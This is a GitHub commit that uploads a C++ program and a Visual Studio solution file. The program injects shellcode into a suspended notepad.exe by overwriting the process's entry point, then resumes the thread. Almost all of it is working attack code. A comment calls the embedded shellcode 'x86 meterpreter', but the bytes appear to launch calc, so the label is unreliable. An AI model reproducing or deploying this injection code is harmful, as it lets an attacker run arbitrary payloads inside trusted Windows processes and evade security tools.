Add files via upload

This commit is contained in:
TimWhite
2021-09-06 10:13:27 +08:00
committed by GitHub
parent 6e50675376
commit cb810dda9a
5 changed files with 253 additions and 0 deletions
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#include <iostream>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")
using namespace std;
int main()
{
//x86 meterpreter
unsigned char shellcode[] ="\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x59\x50\x40\x92\x74\x15\x51\x64\x8b\x72\x2f\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\xb2\x50\xeb\x1a\xb2\x60\x48\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7";
STARTUPINFOA si;
si = {};
PROCESS_INFORMATION pi = {};
PROCESS_BASIC_INFORMATION pbi = {};
DWORD returnLength = 0;
CreateProcessA(0, (LPSTR)"c:\\windows\\system32\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
// get target image PEB address and pointer to image base
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
//x86:DWORD pebOffset = (DWORD)pbi.PebBaseAddress + 8;
DWORD_PTR pebOffset = (DWORD_PTR)pbi.PebBaseAddress + 0x10;
// get target process image base address
LPVOID imageBase = 0;
//x86:ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &imageBase, 4, NULL);
ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &imageBase, sizeof(LPVOID), NULL);;
// read target process image headers
BYTE headersBuffer[4096] = {};
ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);
// get AddressOfEntryPoint
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
//x86:PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS64)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)imageBase);
// Do something with the AddressOfEntryPoint(print to console in this case)
cout << codeEntry << endl;
// write shellcode to image entry point and execute it
WriteProcessMemory(pi.hProcess, codeEntry, shellcode, sizeof(shellcode), NULL);
ResumeThread(pi.hThread);
return 0;
}
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Microsoft Visual Studio Solution File, Format Version 12.00
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Global
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Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
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EndGlobalSection
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HideSolutionNode = FALSE
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EndGlobalSection
EndGlobal
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